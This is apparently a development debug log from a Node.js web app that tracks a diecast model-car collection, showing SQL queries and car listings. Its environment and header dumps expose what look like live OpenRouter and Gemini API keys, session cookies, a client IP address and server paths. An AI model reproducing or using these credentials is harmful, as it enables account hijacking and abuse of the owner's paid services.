      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:04:44.381Z server-connect:router Serving templateView /
2026-02-04T07:04:44.381Z server-connect:app Executing action step identify
2026-02-04T07:04:44.381Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:44.381Z server-connect:output identity: 1
2026-02-04T07:04:44.381Z server-connect:app Executing action step restrict
2026-02-04T07:04:44.381Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:44.382Z server-connect:output restrict: undefined
2026-02-04T07:04:44.382Z server-connect:app Executing action step restrict
2026-02-04T07:04:44.382Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:44.382Z server-connect:output restrict: undefined
2026-02-04T07:04:44.382Z server-connect:router Render template layouts/main
2026-02-04T07:04:44.383Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:04:48.774Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:04:48.774Z server-connect:app Executing action step identify
2026-02-04T07:04:48.774Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:48.774Z server-connect:output identity: 1
2026-02-04T07:04:48.774Z server-connect:app Executing action step restrict
2026-02-04T07:04:48.774Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:48.775Z server-connect:output restrict: undefined
2026-02-04T07:04:48.775Z server-connect:app Executing action step condition
2026-02-04T07:04:48.775Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:04:48.775Z server-connect:app Executing action step update
2026-02-04T07:04:48.775Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:04:48.776Z server-connect:output update: { affected: 1 }
2026-02-04T07:04:48.776Z server-connect:app Executing action step upload
2026-02-04T07:04:48.776Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:04:48.776Z server-connect:output upload_image: []
2026-02-04T07:04:48.776Z server-connect:app Executing action step repeat
2026-02-04T07:04:48.776Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:04:48.776Z server-connect:output repeat_images: []
2026-02-04T07:04:48.776Z server-connect:output condition: undefined
2026-02-04T07:04:49.033Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:04:49.033Z server-connect:app Executing action step identify
2026-02-04T07:04:49.033Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:49.034Z server-connect:output identity: 1
2026-02-04T07:04:49.034Z server-connect:app Executing action step restrict
2026-02-04T07:04:49.034Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:49.034Z server-connect:output restrict: undefined
2026-02-04T07:04:49.034Z server-connect:app Executing action step paged
2026-02-04T07:04:49.034Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:04:49.037Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:04:49.313Z server-connect:router Serving templateView /
2026-02-04T07:04:49.314Z server-connect:app Executing action step identify
2026-02-04T07:04:49.314Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:49.314Z server-connect:output identity: 1
2026-02-04T07:04:49.314Z server-connect:app Executing action step restrict
2026-02-04T07:04:49.314Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:49.314Z server-connect:output restrict: undefined
2026-02-04T07:04:49.314Z server-connect:app Executing action step restrict
2026-02-04T07:04:49.314Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:49.315Z server-connect:output restrict: undefined
2026-02-04T07:04:49.315Z server-connect:router Render template layouts/main
2026-02-04T07:04:49.315Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
